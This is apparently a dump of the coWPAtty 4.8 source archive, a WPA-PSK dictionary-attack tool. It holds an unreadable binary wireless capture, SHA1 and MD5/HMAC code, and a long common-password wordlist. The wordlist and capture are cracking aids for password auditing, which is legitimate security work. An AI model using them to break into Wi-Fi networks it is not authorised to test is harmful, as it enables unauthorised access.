8i`w,VӼZ٬R4%B~RsD7ġ`DMq8JuRj^3udYD^^BU ¤f08 Mmm ¤ ¤;U%d1linksys US    *0 dYDmm ¤ ¤`;%d1linksys US    *0 dYD^mm ¤ ¤;u%d1linksys US    *0 dYDmm ¤ ¤ <%d1linksys US    *0 dYD~mm ¤ ¤<%d1linksys US    *0 dYD mm ¤ ¤<%%d1linksys US    *0 dYD 11@UPlinksys  $20H`ldYD **@U`  $20H`ldYDo WWP:U ¤ ¤<޻%d1linksys US  *0dYD 11@Uplinksys  $20H`ldYD8 **@U  $20H`ldYD WWP:U ¤ ¤=s%d1linksys US  *0dYDa 11@Ulinksys  $20H`ldYD:d **@U  $20H`ldYD mm ¤ ¤`=%d1linksys US    *0 dYD! 11@Ulinksys  $20H`ldYD=$ **@U  $20H`ldYD) 2dYD. mm ¤ ¤=E%d1linksys US    *0 dYDmm ¤ ¤ >Ք%d1linksys US    *0 dYDi11@Ulinksys  $20H`ldYD WWP:U ¤ ¤0>2#%d1linksys US  *0dYD-: ¤U ¤dYD_ UdYD:U ¤ ¤@>dYDAA: ¤U ¤ linksys 0(dYD UdYDX$$:U ¤ ¤P> dYD:U ¤ ¤`>u Ȟ^2 O-[ŸfK dM),eUSNRdYD: ¤U ¤u ߡki}Ihҷd7.7H4>q%Μ!F0(dYD; UdYDmm ¤ ¤>hi%d1linksys US    *0 dYD:U ¤ ¤> Ȟ^2 O-[ŸfK dM)ԗ ްd4^38+͔$Y5_J^ ϥ0-jWc\w]`^TwNdYD=: ¤U ¤ _ xFdYD> UdYD_DQQA: ¤Uf0 q:!S;>Kf^R<*Sy pOwdYD~J^^BU ¤f>  \Bw6|!tطe!^ÒЈچC <@َ0dYDmm ¤ ¤@?h%d1linksys US    *0 dYDmH: ¤U ¤dYD UdYDgH: ¤U ¤dYD*H : ¤U ¤dYD-H : ¤U ¤dYD. UdYDb3mm ¤ ¤?%d1linksys US    *0 dYD7H: ¤U ¤dYD9 UdYD@H: ¤U ¤dYDL UdYDmm ¤ ¤@h%d1linksys US    *0 dYDH: ¤U ¤ dYD UdYDt$H: ¤U ¤0dYD% UdYDMmm ¤ ¤`@h%d1linksys US    *0 dYDQH: ¤U ¤@dYDR UdYDݲH: ¤U ¤PdYDB UdYDmm ¤ ¤@h6%d1linksys US    *0 dYDH: ¤U ¤`dYD UdYDCA H: ¤U ¤pdYDD UdYDm mm ¤ ¤ AhƟ%d1linksys US    *0 dYD}q H: ¤U ¤dYDr UdYD H: ¤U ¤dYD UdYD) mm ¤ ¤AV%d1linksys US    *0 dYD H: ¤U ¤dYD UdYDe H: ¤U ¤dYDf UdYD mm ¤ ¤Ah%d1linksys US    *0 dYD H: ¤U ¤dYD UdYDH: ¤U ¤dYD UdYDmm ¤ ¤@Bhv%d1linksys US    *0 dYDtt<f 膱Bб>^VZ(-h$8|p^|,#v#ǵG5=\H0,!?:{v3 UV n*5@Tguk78jLj+ьA9v ̃ڞ5}Dcns䊛oGe }-{1I@sib裭M2J(RbO)5emb&Vx 20Q^l^/A 3qܡL 8ܔK b% qeC0` m 2Jy<BR^p3jZ*A'ɞЕ>O|0;Љ($ ;9%~uS=Cs\s@h;4l46w7DkIp!72ո4Cwn,2b_9pi 'Mlz Ӝs)&M]{Z)ԋ{`9څ.f4WzЇqi$a;#q]Kž1B ʊLtwr'g` g&!3B 2 1&NyHS(Spރą}A$XI.b;Ƹxu+2-&lfji>?L0.XQgQ͆$|şhN7}3Z><lq=|04PY3ܗ?4?e־ qLXcO-7{DKY?|ɲXS|uS;Js>3'&!LMHFI7u.`R J{X{g* 2מ:ntӠZ;!C 6:FrMa74bgťI#8Y:1.o?7BpRq5FyLܰ?M:eaٖ7B[\c ( (EFEILVӷV[eΝ]\Y\k ` -GjzeOq{:>z3^6ӚD=b(}> v(k 1QDHab/KPTg}398 KOp=A{H@s![ytRu+yiSN 6,]Z%] )ޛ^3Vu:ch 2CQ)AIUsSqV 뾚s\UGㅹˍ?i)1e sX-g|GGl4I27Q~9%򒸜2&d8(@⛝9eZj82B:ߖOix5~w혤+ #/]]V͡"Rc rWJ1%MH| sj/֕eJq3BA#LSvLGu⋃z:JxbÒ~+_+w \JÐ$S ԏ(9RlvaMOc|=[ۉ7ch'JU-pr*?'c{eCث?CD1TnRgZYz)sh$He6'.5; ?>=yEH3\L/?Ă3%kA;E5ڵޗ `t>u y -ߡ빂@Ż| "T|P2&:i3&n A-nO:ɬi[; dֻ M"bփ`H ,UVKNW +ulN zyB5D8#M%cmYF?3ZzfJAMqz|5gtQ9*_ m.2%(xc,[crN"hnAZ.!Mc ւ gg&}4=Z/c*RJ)r܉N56[l ӳ30! 11Zw%p7vάn:7=7~!4GVGJ SbVtuC7c-4tצp;]PQ_S:[ 2sD׬čT_59de(u .Nɨ,.N dYDmm ¤ ¤Ch%d1linksys US    *0 dYD"I: ¤UfP *Xp.X/fɗ(( l_u _)S5;h [E69 uut_N>Mkn_NE/4E4qm!@K W6ylFnw0aQp3Dw)R҈|ګb_G0!La1'M:Y/d0z&#Tv5)ދK蜁 ̀dEn#md#zb8WY+MgƷW)$ZOPB場΄kS&}-2kSis[E̒b)ߦT\n+ߴGWN:Xwӝ]o]C sXiN&d6@;c$LKuMeDž7eP7Us;}:\zdk/eڣƹQȀi_ )C%6o ţiLfRǫߎx]D"jqB޶ӥMGt~k׹]xF+>fB AFJ/DzzY ZL.R2Elyp8Rɔ?i9w,0n­+vcuVaH|WE'ppqmĐpTM]BvYf(c<6=97R$k5&3UiNuM5鬶 oDԙ? *A@M[|`R,'RNۇwj/A3zȤX5@͚0zI@S,䪂{'hfx7rz(S7Fem=[,b V,>nVړ_ֆ7Dg 7ն +ePJ 5~pjyŎ8 I5tFrڻ4A$G,xYK:  ~UIy8iE ރpV,mVXLJd'\5 asiKZ"IM!ž8A:˻9," QwisU4eޣ*\kJ$CIbv#y>dYD BU ¤fpD SAgt>>xK^aFkOz023|~BcE`|;mI}SW ii[أtO$֢pE83& G%-8|,m)ҷQ6f븇0w,١#'oxdʜƵe4 (Nf{2.&"ùFgJF/Ŕn|ҮUyU)f-㉣.3H`lA?D̐rI%`3GEĎafz?Y2S!W/}[0߲;\Rɑm5Qjʩ@^o=aWgIꕨCM7kO`=X FL )FY.k39p-7CnY|ǴR$m0yK$ $MM~5X"9}t"[ @D;w-ưLW7w/:&*K PXr(~# nDov: ÷2j  {qdzW fRJ-}+!-]ΜZ `Ul.Ļf[˘.}Q!=uC0vegj%év)ve4NJ'9PknX {Ot:0X_θ0)yڝ$OũefЦd2Vi*|̐n :!|rBOXkR;!t4qUTiQ?8Ml֗_H^eJt?}f)&/+;&0oAjfB3]ZX"BUQ8/=ܗs*r0vtK*f <VW忨eK7-:w:P^D N5l^oV]c@˘&Mz1I=U*kX0fl&P2'Ƭ[f7]xr!.v:$cw~Iđ1:]1y1:-nϺ\ FzOzţㆨj(hiقBh5oD&wsáD zJU0z9G4mL.#+պ0INcNX?ӿZȯ4 qAD6{cvPt+~[hXa 0o^ ?@xs0VBISHFRm*_MF9*N\磮F wž6hXu*ƑݰL\n"<.z[m!5F%uѯMhp P)T!DmՖN@{@Aeͷn{ٵB5Jaa QM4/Ͳr-,^}CU2e>0I_H\"hqdYD# H: ¤U ¤dYDY UdYDJ H: ¤U ¤dYDa UdYD mm ¤ ¤0Ehf%d1linksys US    *0 dYD7 H: ¤U ¤dYDo UdYD-4 H: ¤U ¤dYDO5 UdYDZ mm ¤ ¤Eh%d1linksys US    *0 dYDB_ H: ¤U ¤dYDw` UdYD H: ¤U ¤dYD UdYD BU ¤fE ]~I1lO'dxLƛQٞDйl~aXԻ Km9L{Q-1x??h&10?M\f457xRDW Nx}YG͢Fʬ(oz5[xaBeE yܕguq͉ϪiVV\z$Pz0ac ]G_}' pl.QDG]2O3?r+:oBعw;Jʎ)G@b[7}ON-K :ٹxOB 1um}2ݾ@]›_QCX$ 8'rC/CBO_;F`q3yߏx!1`V5)5du"p2ѥK,)[ PH,7l[*VR=tj?ς.M Zp3]aas\c`2.aCsSP_jHF[Ҙi0$ Pr \C NĎBsx[큽3dgE-ЅLpud16L2Z}Ba@3jчM&!exm൓nz7,I/ ] b.6V"j "Ϻ텆GYӟ;PkkGJ;=;Yj|;`lS%`paܜȕc_uK$G*PMXg"1\eBŵP-yo,{k "Ó1}2$vU{#_n=*įn9bgٜ$pLiͲ~^Y UYK ,c]fΐri3c#Vt@vF21O}"wA`izVU'm W7F⟱bdyclOB9F“4~)4uCQ8gJ >(Y@w>eOלּ 9~l^h6ǯ03tĭ陫YLr寽ȞtK l(P%܋|10Iȶ_-MCf߂g6qĊ2cOy4mBU 9ܩCL~ e=+SdHfpZ(0p-n8~kc0#e!9Mk$T(Zcau2pBT%]3¿_"{6^*=F33KgN~gaEaZ9oݵ|e/ـCoMlS?,xFڞ0l@0zl9?&:B0 <f1*y2 QGr9a$Uf.⠼;ZreT_ƂaUc-7Z%VS*ұ;wc;y97(_rcdkCg?.GdYDC A: ¤Uf wB^ +e" wix ZKmA+#1OLj!E1?` iRjkgPSB((-tJXbd7. RQG<dYDX mm ¤ ¤F%d1linksys US    *0 dYD5H: ¤U ¤dYD96 UdYD5 H: ¤U ¤dYD= UdYD8mm ¤ ¤`Fh%d1linksys US    *0 dYD<H: ¤U ¤ dYD= UdYDH: ¤U ¤0dYD UdYD BU ¤fpF qdNqBq{;W)*PպoP(i}q 8u沚 H(ǣwT}D%6iüdR.;n>BZgf<Rџ/_Q}$al{gfEy5;h#E۠W"aK8✬h@KjMAP8,DA -D|yyP+k*EQ쵤w}L;.e:ٙ^܋~,$\eU1OHF4k0ܳɩc%U6{DR;Lmd(-ìj7zYU,b`Em\գ7 =rsg(#T‚u3/CA.&qU[ajy?s3EiK/O\lXq?+L!).IG({S (9٩4^V)WS:EEeb4YB.?a-Qo9S RJ+7f 1Qj6l@wf"CFQRݽ*K,{ 8;C3&*!'oCu"0 q(ZQH8.<ސ>\ A'όg%=NcHӛrrE*|;_,xE+Y^y.W SɄtL=m 2gbu: : c^0?\g:`ÀϹS..D8iY8Gkb$Oě-ܪ: C[|DIB, M]kvZƍm`t]Q0x&kP "NA jgjh[U҇o_6W- suM\[ҵcuIv )&cB<@۔ h_.찥mf*#0%!] Sz~TN$Kʫi{Թ'9]0/BYK0}>!ؓZ|:@,1'C myh- DUwXjllw'Sɻ⪗ Wnf;ϕSQW3HC,0;Ƃ[l}l̳ң\'YXH6!GOf93aj6JY@dYDЬBU ¤fF $)WMO遢X֔}:B>Q)܉oT0bx8s*zySƞhIT]s\֪ fGҽ=5; mG%tr/XwU_D*Y$˪ЄZ٧v}-wI0ȭ,G\&~ZZ,<߻E%z,Oo抅=g3CL'w;etǨWZ< O =+Qvw.Ji! U&uP>I}"h:5/6h7!$Jp=jwQlB툷r C*SSCnk)4H鶈TF?Ӧ":je"J/[s5"EkmˬGG<$.w;#c F7@hjfM{@fkī{ߣsxdx4Y@gjR!lsxvaum)&0YKi6 x0xmZF1dAM~4/O'#N~]KmG(L&rf6NO, ʙ?47P#&,Fd>TPUm->Kd^aj@΂%+<ύ5ǧ;IznDkHST$ٛ<ר]Ą[9 \N4ңTFSoD|IHw(Q_y!Q?dYD³A: ¤Uf 9w&o8saH\* ddM:ky`2˲C/$0+&em_ {P(-w?iDfBu-rxqg9bxGcĒOdG෭FdYDmm ¤ ¤F%d1linksys US    *0 dYDI: ¤Uf 9w&o8saH\* ddM:ky`2˲C/$0+&em_ {P(-w?iDfBu-rxqg9bxGcĒOdG෭FdYDA: ¤Uf J0Cp+Kq]YQ D>umiܱ_s?5w:-?ZE3vV:d_|þ%6BΥ^G U18ڎ\f]\=(f5p(vrE]dYDj.H ¤U ¤@dYDj/ UdYD+H ¤U ¤PdYD/ UdYDXmm ¤ ¤@Gh6%d1linksys US    *0 dYD\H ¤U ¤`dYD~] UdYD#H ¤U ¤pdYD UdYDmm ¤ ¤GhƸ%d1linksys US    *0 dYDH ¤U ¤dYD UdYDmPH ¤U ¤dYDRQ UdYDxmm ¤ ¤HhV%d1linksys US    *0 dYD|H ¤U ¤dYD} UdYDH ¤U ¤dYD UdYDmm ¤ ¤`Hh%d1linksys US    *0 dYDK H ¤U ¤dYDL  UdYDp H ¤U ¤dYD~q UdYD mm ¤ ¤Hhv%d1linksys US    *0 dYD| H ¤U ¤dYDx UdYDx H ¤U ¤dYDF UdYD( mm ¤ ¤ Ih%d1linksys US    *0 dYD, H ¤U ¤dYD- UdYD H ¤U ¤dYD UdYD mm ¤ ¤Ih%d1linksys US    *0 dYD> H ¤U ¤ dYD0 UdYD- H ¤U ¤0cowpatty-4.8/sha1.h000644 000765 000024 00000003462 13316751752 015104 0ustar00jwrightstaff000000 000000 /* * coWPAtty - Brute-force dictionary attack against WPA-PSK. * * Copyright (c) 2004-2018, Joshua Wright * * This software may be modified and distributed under the terms * of the BSD-3-clause license. See the LICENSE file for details. */ /* * Significant code is graciously taken from the following: * wpa_supplicant by Jouni Malinen. This tool would have been MUCH more * difficult for me if not for this code. Thanks Jouni. */ #ifndef SHA1_H #define SHA1_H #ifdef OPENSSL #include #define SHA1_CTX SHA_CTX #define SHA1Init SHA1_Init #define SHA1Update SHA1_Update #define SHA1Final SHA1_Final #define SHA1_MAC_LEN SHA_DIGEST_LENGTH #else /* OPENSSL */ #error "OpenSSL is required for SHA1 support." #endif /* OPENSSL */ #define USECACHED 1 #define NOCACHED 0 typedef struct { SHA1_CTX k_ipad; SHA1_CTX k_opad; /* unsigned char k_ipad[65]; unsigned char k_opad[65]; */ unsigned char k_ipad_set; unsigned char k_opad_set; } SHA1_CACHE; void sha1_mac(unsigned char *key, unsigned int key_len, unsigned char *data, unsigned int data_len, unsigned char *mac); void hmac_sha1_vector(unsigned char *key, unsigned int key_len, size_t num_elem, unsigned char *addr[], unsigned int *len, unsigned char *mac, int usecached); void hmac_sha1(unsigned char *key, unsigned int key_len, unsigned char *data, unsigned int data_len, unsigned char *mac, int usecached); void sha1_prf(unsigned char *key, unsigned int key_len, char *label, unsigned char *data, unsigned int data_len, unsigned char *buf, size_t buf_len); void pbkdf2_sha1(char *passphrase, char *ssid, size_t ssid_len, int iterations, unsigned char *buf, size_t buflen, int usecached); void sha1_transform(u8 * state, u8 data[64]); #endif /* SHA1_H */ cowpatty-4.8/md5.c000644 000765 000024 00000005225 13316751752 014727 0ustar00jwrightstaff000000 000000 /* * MD5 hash implementation and interface functions * Copyright (c) 2003-2004, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include #include #include #ifdef OPENSSL #include #endif #include "common.h" #include "md5.h" void md5_mac(u8 * key, size_t key_len, u8 * data, size_t data_len, u8 * mac) { MD5_CTX context; MD5_Init(&context); MD5_Update(&context, key, key_len); MD5_Update(&context, data, data_len); MD5_Update(&context, key, key_len); MD5_Final(mac, &context); } /* HMAC code is based on RFC 2104 */ void hmac_md5_vector(u8 * key, size_t key_len, size_t num_elem, u8 * addr[], size_t * len, u8 * mac) { MD5_CTX context; u8 k_ipad[65]; /* inner padding - key XORd with ipad */ u8 k_opad[65]; /* outer padding - key XORd with opad */ u8 tk[16]; int i; /* if key is longer than 64 bytes reset it to key = MD5(key) */ if (key_len > 64) { MD5_Init(&context); MD5_Update(&context, key, key_len); MD5_Final(tk, &context); key = tk; key_len = 16; } /* the HMAC_MD5 transform looks like: * * MD5(K XOR opad, MD5(K XOR ipad, text)) * * where K is an n byte key * ipad is the byte 0x36 repeated 64 times * opad is the byte 0x5c repeated 64 times * and text is the data being protected */ /* start out by storing key in pads */ memset(k_ipad, 0, sizeof(k_ipad)); memset(k_opad, 0, sizeof(k_opad)); memcpy(k_ipad, key, key_len); memcpy(k_opad, key, key_len); /* XOR key with ipad and opad values */ for (i = 0; i < 64; i++) { k_ipad[i] ^= 0x36; k_opad[i] ^= 0x5c; } /* perform inner MD5 */ MD5_Init(&context); /* init context for 1st pass */ MD5_Update(&context, k_ipad, 64); /* start with inner pad */ /* then text of datagram; all fragments */ for (i = 0; i < num_elem; i++) { MD5_Update(&context, addr[i], len[i]); } MD5_Final(mac, &context); /* finish up 1st pass */ /* perform outer MD5 */ MD5_Init(&context); /* init context for 2nd pass */ MD5_Update(&context, k_opad, 64); /* start with outer pad */ MD5_Update(&context, mac, 16); /* then results of 1st hash */ MD5_Final(mac, &context); /* finish up 2nd pass */ } void hmac_md5(u8 * key, size_t key_len, u8 * data, size_t data_len, u8 * mac) { hmac_md5_vector(key, key_len, 1, &data, &data_len, mac); } #ifndef OPENSSL #error "OpenSSL is required for WPA/MD5 support." #endif /* OPENSSL */ cowpatty-4.8/dict000644 000765 000024 00000243717 13316751752 014756 0ustar00jwrightstaff000000 000000 12345 abc123 password passwd 123456 newpass notused Hockey internet asshole Maddock 12345678 newuser computer Internet Mickey qwerty fiction Cowboys Jordan Hatton test Michael ou812 orange 1234 Beavis 123 tigger Soccer shadow Purple Sports dragon michael wheeling mustang Monkey Qwerty School Snoopy Vikings jennifer money Justin mickey 0246 a1b2c3 chris david foobar Robert buster harley jordan stupid * apple fred 123abc Amanda Dakota summer sunshine andrew hello maggie monday pascal patrick Dallas Jessica Nicole Sendit Smokey baseball daniel diamond joshua michelle mike silver 1q2w3e Friends George Shadow Summer bandit coffee falcon fuckyou pepper richard thomas undead !@#$% Andrew Buster Cowboy Eagles Elwood Master Nathan changeme charlie golf green linda merlin monkey nite secret soccer steve 1234567 Apples Dragon Flower Mustang Pepper george guest hockey james koko matthew pookie robert xxx Dolphin Killer Miller Packers Tigger alex canada john master Chicago Kitten Polaris Spanky Tennis Thomas Tweety hammer letmein magic murphy scooter service snoopy sophie thx1138 tiger Ashley Basket Ginger Nirvana Teacher Yellow blue dave hunter sarah thursday welcome Bandit Volley aaaaaa ashley bear boomer calvin dallas friday happy jason madison martin mother nicole purple ranger 123go Airhead Braves Sparky angela brandy cindy dakota donald football ncc1701 shannon soleil taylor tuesday Abcdef August Footbal Heather Johnson Maggie Matthew Michelle Monday Pookie Rabbit Richard Smiley amanda anthony camaro carmen cowboy genesis jesus joseph justin miller ncc1701d pamela picture princess rabbit rocket sierra steven success tennis victoria willow Abcdefg Bubba Charlie Compute Computer Fuckyou Hammer Jeremy Library Password Runner Scooter Shorty Silver Taylor Tigers Travis Viper digital duke freedom gandalf ginger heather iloveyou jessica killer lizard loser mark monica oscar peanut pentium peter phoenix piglet rainbow runner sam saturn scott skippy startrek temp 111111 123123 2welcome Basebal Batman Brandy Cassie Dustin Fishing Harley Hunter Orlando Peaches Scotty Steven Voyager andrea ass avalon batman brandon bubba casey eagle frog1 fuckme info love marie misty natasha newyork nss poohbear rachel turtle walter wizard 00000000 Daniel Friday Hornets Joshua Online Rodman Science andy asdf august austin beavis brenda brian butthead charles cheese doctor dolphin flower jonathan junior knight marley maverick molson morgan mouse nathan nissan rebecca shalom smile sparky stephen whatever william 696969 Anthony Casper Helpme Jessie Mother Pebbles Pentium Secret Sonics Viking Wolves access alpha angel ath banane bob bond007 booger boris chicken cookie elephant elvis emily eric france gizmo goober horses island jeffrey jerry joe jupiter justice lisa lucky mindy missy muffin music protel rose sandy sharon snake spider spring test1 tommy toyota vincent wqsb 7777 8675309 Barney Bowling Camaro Casio Cookie Froggy Golfer Junior Knights Lakers Melissa Patrick Rachel Raiders Reggie Shelly Shithead Speedy Thunder Windows albert alexande america7 banana barbara barney billy biteme black chelsea claire connie debbie delta dennis eeyore fishing fucker helpme honda indiana jackson jasmine karen kevin lestat logan louis louise micro mitchell nirvana none paul pepsi perry phantom pierre rascal red reddog roger sanjose1 simon star superman tom topgun wilson 654321 Aikman Animal Avatar Basketb Gandalf Hacker Hendrix Hunting Iceman Leslie Letmein Scooby Snicker System Tazman Tootsie Turtle abcd1234 adg amber anna annie arthur benjamin bill boston braves buddy cgj control coyote daisy dog dorothy douglas edward faith family fish fisher ford freak1 friend grant iceman jack jeremy jim library marcel molly mountain nat nicarao olivia pat pearljam pmc ppp prince ryan salmon school skeeter special spencer stinky sunflowe teacher test123 tony travel viper wally winston winter wolf yellow zephyr ziggy !@#$%^ 1928 2112 90210 Arthur Biteme Blackie Boomer Bubbles Carrie Charles Denise Fender Fluffy Fucker Fuckme Golfing Intel Jasmine Joseph Knight Lindsey Loser Orange Peanut People Porsche Rebecca Rhonda Sanders Speech Tanner Teresa Turbo Volleyb Wrestle alaska apples asdfgh bigdog boss casper cat chapman chocolat christin classroo cocacola coke cougar cricket crystal danny david1 dean disney einstein elizabet felix fox frank giants grace gregory hannah hendrix hola howard jake janice jesus1 julian kelsey kitten12 lacrosse lakers larry leslie marina matt melissa millie montana moose morris orion pantera paris piano pizza please popcorn q1w2e3 radio sales sammy shelly shithead stanley steelers stimpy student susan sydney tammy testtest texas thunder tweety victory virginia willie willy win95 zapata 1 Alaska Alicia Bailey Banana Beaner Bigdog Blazer Blondie Brandon Center Cheese Chicken Chris Compaq Dreams Falcon Family Fisher Flyers Friend FuckYou Global Gopher Guitar Gymnast Hearts Huskers Kinder Larson Lestat Lindsay Minnie Muffin Pamela Panther Picard Pyramid Raider Rainbow Reddog Sampler Shannon Shotgun Sierra Skeeter Spanish Stacey Student Trixie Xanadu Yankees Zombie a12345 a1b2c3d4 abc adidas alexis angie april asdfjkl; baby betty bilbo bonnie booboo bradley brooke caitlin carrie chip chris1 christy cinder claude claudia colorado cowboys curtis daytek donna duck dusty eagle1 enigma francis francois franklin froggy gabriel ghost gopher grover happy1 helen henry honey horse house jackie jean jenny joey kelly laura lauren lincoln loveme margaret mary max mercedes mercury michel midnight mine mirror mozart nicholas nothing oliver packard pass peace phil porsche psycho pumpkin punkin puppy123 randy remember robin rosebud sadie sampson samson samuel simple smiley snowball spike starwars stever storm sun support suzanne sweetie sweetpea system tamara tech teresa terry theresa thumper victor vision water winner xavier yamaha 121212 ABC123 America Arctic Austin Bonnie Cheryl Dorothy Drizzt Emmitt Farmer Flipper Goldie Goober Griffey Groovy Hotdog Jackson Jeffrey Jester Jimbo Johnny Kristi Lauren Lizard Louise Lover Montana Murphy NCC1701 PPP Pacers Packer Patches Peter RedDog Reebok Rosebud Sango Shadows Sharon Skippy Stanley Startrek Sunshin Swimmer TEACHERS Tinman Wildcat William Willie Wilson Yamaha aaron abigail alice allen amour animal archie bailey basf basketba beaver bingo blazer blonde bullshit business caroline cfj chicago clancy class cloclo colleen columbia connect country demo dixie domino donkey dreamer e eagles eddie farmer fgh fire flipper flowers floyd fluffy freddy friends frodo frog garden global golfer grumpy hansolo hawk health heidi help holly hoops iguana indigo italia jane jasper jessie jewels johnny joker judith katherin kids kingfish kristi laurie legend lindsay london loveyou lucy mac marc marilyn market marlboro marty maryjane matrix maxwell nancy nascar nelson network newcourt newton packers panther papa parker patricia penguin pickle porsche9 rain raven robbie robert1 rocky roses sabrina sailing sandra science scotty seven shoes smiles smokey snickers speedy spooky stephani strat stuart sunny sunset telecom temporal tigers time tinker tomcat trebor tristan truck video viper1 visa volvo warren weasel webmaste white woody xanadu zaphod !@#$%^&* 007 1022 13579 4444 666666 6969 Adidas Asdfgh Asshole Awesome Biology Bond007 Booboo Bradley Buffalo Calvin Canada Celtics Chester Colleen Connie Cooper Cracker Digital Disney Doobie Dream Dwight Eatme Farming Florida Flowers Gizmo Goalie Golden Gunner Harvey Homer Jasper Kristy Krystal Laser Maddog Marino Marvin Natasha Nelson October Parker Passwor Petunia Prince Pumpkin Qwert Ranger Sammie Senior Shirley Slayer Spunky Tandy Trouble Vette Warren Wheels Winter Zxcvbnm _ absolut adam adrian alexandr allo alpine anderson athena badger beagle beatles belle bitch bluebird bonjour bulldog bunny californ captain carol carole cedic chanel chester1 chloe coco coltrane compaq compton cooper corona cyclone dancer darwin dawn denise derek diablo digital1 direct1 dodger doogie dookie doom dragon1 dreams duckie dylan ellen export ferrari ferret firebird forest fuckoff garfield gateway gold goofy grateful guitar gunner heart herbert herman hermes history houston inside ironman isis italy jasmin jeanne julie kathleen keith kermit kimberly king koala kristen kristin laser leonard lionking macha macintos maddog major maxime melanie mexico mikey monet monique moon mouse1 napoleon ne1469 nellie niners olive one online oxford pacific painter panda pandora peaches peewee penelope picasso plato pluto police popeye portland power random raymond reality renee royal running salut samantha santa sassy scarlet scorpio scout sergei seven7 sexy shark sheba sheena sheila shelby simba singer skiing snow spanky stargate steele stella sunday sunrise sylvia tara tasha techno timothy toby today training trouble tyler unicorn violet walker wayne wendy whisky windsurf winnie wolves xfiles zebra zxcvbnm 000000 007007 10sne1 1313 131313 1701d 1a2b3c 4runner 54321 Aaaaaa Amiga Angela Animals Archie Badboy Balls Beaver BigBird Boner Booger Boston Brandi Brazil Brenda Button COWBOY Carol Chiefs Chipper Chrissy Coffee Cougar Country Curtis DRAGON Dennis Digger Doctor Firebird Frankie Gambit Gemini German Giants Grandma Grover Hanson Hawkeye Heidi Hobbit Hotrod Howard Iguana Ironman JSBach Jackie January Jennifer Joker Lakota Looney Malibu Masters Michell Mikey Monster OU812 Oliver Paladin Phillip Pickle Please Psycho Puppies Racing Rasta Reality Renee Rosie Russell Skiing Snowbal Spider Spring Squirt Studly Stupid Surfer Sweets Sydney Tester Thumper Timothy Violet Walleye Webster Wizard Zaphod Zorro Zxcvb aaa abcde abcdefg acura alex1 allison amy anne apache apollo apollo13 ariel artist asdfg asdfjkl attila babylon5 bamboo basket beaner bears beer benny bernard bertha bigbird bigred bird33 birdie blizzard bluesky bobby bootsie brewster bright bruce brutus bubba1 bubbles buck buffalo butler buzz byteme cactus camera candy canon cassie catalog cats celica celine cfi challeng champion cheryl chico christia chuck clark college conrad cool copper courtney craig crapp crawford creative crow cruise dance danielle darren database deadhead december deedee deliver detroit dilbert doc dogbert dominic elsie enter entropy etoile europe explorer fireman fish1 flamingo flash fletcher flip foxtrot french1 gabriell gaby galaxy galileo garlic gasman gator gemini general gerald gilles go goforit golden gone graymail greenday greg gretzky hacker hal9000 harold harrison harry harvey hector hell home homer hootie hotdog ib6ub9 icecream idiot imagine indian insane intern ireland irish isabelle jacob jaguar jason1 jenifer jenni jenny1 jensen john316 judy julie1 kelly1 kennedy kevin1 kim knicks lady lee leon lindsey ljf logical lucky1 lynn majordom mariah marine mario mariposa martin1 math maurice me memphis metal michael. michele minnie mirage mitch modem mom moocow ncc1701e nebraska nemesis netware news nguyen number9 open opus patches penny pete petey phish photo pierce pomme porter psalms puppy pyramid python quality qwaszx qwert raiders raquel robotech ronald rosie russell ruy savage scotch scruffy sean seattle security shadow1 shanti shirley shorty shotgun skipper slayer smashing snapple sniper snoopdog snowman sparrow sports sprite spunky stacey star69 start station stealth sunny1 super surfer target taurus teddy teddy1 tester testing theboss thunderb tim topcat topher trevor tricia trixie tucker vader valerie veronica viking voodoo warcraft warner warrior watson webster wesley western wheels wilbur williams wisdom wolf1 wolfgang wrangler xcountry yankees zachary zeus zombie zorro !@#$%^& 0007 0249 1225 1234qwer 14430 1951 1p2o3i 1qw23e 1sanjose 21122112 2222 369 5252 5555 5683 777 80486 888888 911 92072 99999999 @#$%^& Action Aggies Albert Alyssa Andrea Angela1 Author Babies Bananas Barbara Barbie Basketba Bastard Beatles Bigfoot Blaster Blowme Bookit Brasil Broncos Browns Buddha Butthead Buttons Cancer Carlos Champs ChangeMe Changeme Chelsea Chevy Chevy1 Christ Christop Chucky Cindi Cleaner Clover Coolman Copper Cricket Darwin Death Defense Denver Detroit Dexter Doggie Doggy Dookie Drums Edward Elaine Elvis Espanol Except Football Francis Freedom Frosty Fubar Garden Garfield Garrett Gordon Hamster Hawaii Hello Herman Hershey History Hockey1 Honda1 Isabelle Jaeger Jaguar Jeanne Jimbob Junebug Kathryn Kayla Killme Kittens Kombat Kristen Kristin Lennon Letter Light Little Loveme Marley Marshal Martha Martin Maveric Maxwell Merlin Mittens Morris Nascar Newton Nissan Number1 Packard Pantera Peewee Penguin Piglet Popcorn Popeye Puckett Raistlin Raymond Reader Reading Rebels Redskin Reefer Retard Ripper Robbie Ronald Rooster Roping Royals Russel Samson Sarah1 Scarlett Service Shooter Sidney Simple Skater Skidoo Skinny Smiles Sniper Special Spirit Sprite Stimpy Strider Success SunShine Superman Susan Sweetie Tamara Tanker Tardis Tasha Taurus Theman Theresa Tiffany Tomcat Tractor Trevor Trucks Trumpet Vampire Vanessa Victoria Warez Warrior Weezer Welcome1 Whales Whateve Wicked Willy Woodland Ziggy a abby abcd abcdef action active advil aeh alfred aliens alison alpha1 amanda1 amelie andre angels angus apple1 ariane arizona asdfghjk aspen asterix awesome aylmer bach barry basil baskeT beanie beautifu benoit benson bernie bfi bigmac bigman binky biology bird blondie blowfish bmw bobcat boogie booster boots bozo bridge bridges buffy bull bullet butch button buttons caesar campbell camping canced canela cannon cannonda cardinal carl carlos carolina cascade castle catfish cccccc center cesar chance chaos charity charlie1 charlott cherry chevy china chiquita christop church clipper cobra concept cookies corrado corwin cosmos cougars cracker cuddles cutie cynthia cyrano daddy dan dasha dead denali depeche design deutsch dexter dgj diana diane dickhead director dirk dodgers dollars dolphins don doom2 doug dougie dragonfl dude dundee e-mail easter eclipse electric elliot energy eugene excalibu express fiona fireball first fletch flight florida fool fountain fozzie frederic frogs front242 fugazi fun future gambit garnet gary genius georgia gibson glenn goat goblue gocougs godzilla gofish gordon grandma graphic gray gretchen groovy guess guido guinness h2opolo hanna hanson happyday hazel hello1 homebrew honda1 horizon hornet image impala informix irene isaac jamaica james1 jan japan jared jazz jeanette jeff jimbo jkm joanna joel johnson jojo jordan23 josh josie julia justin1 kathy katie kenneth khan kingdom kitty kleenex kramer laddie ladybug lamer larry1 law ledzep light liverpoo lloyd looney lorraine lovely lucas lulu magnum 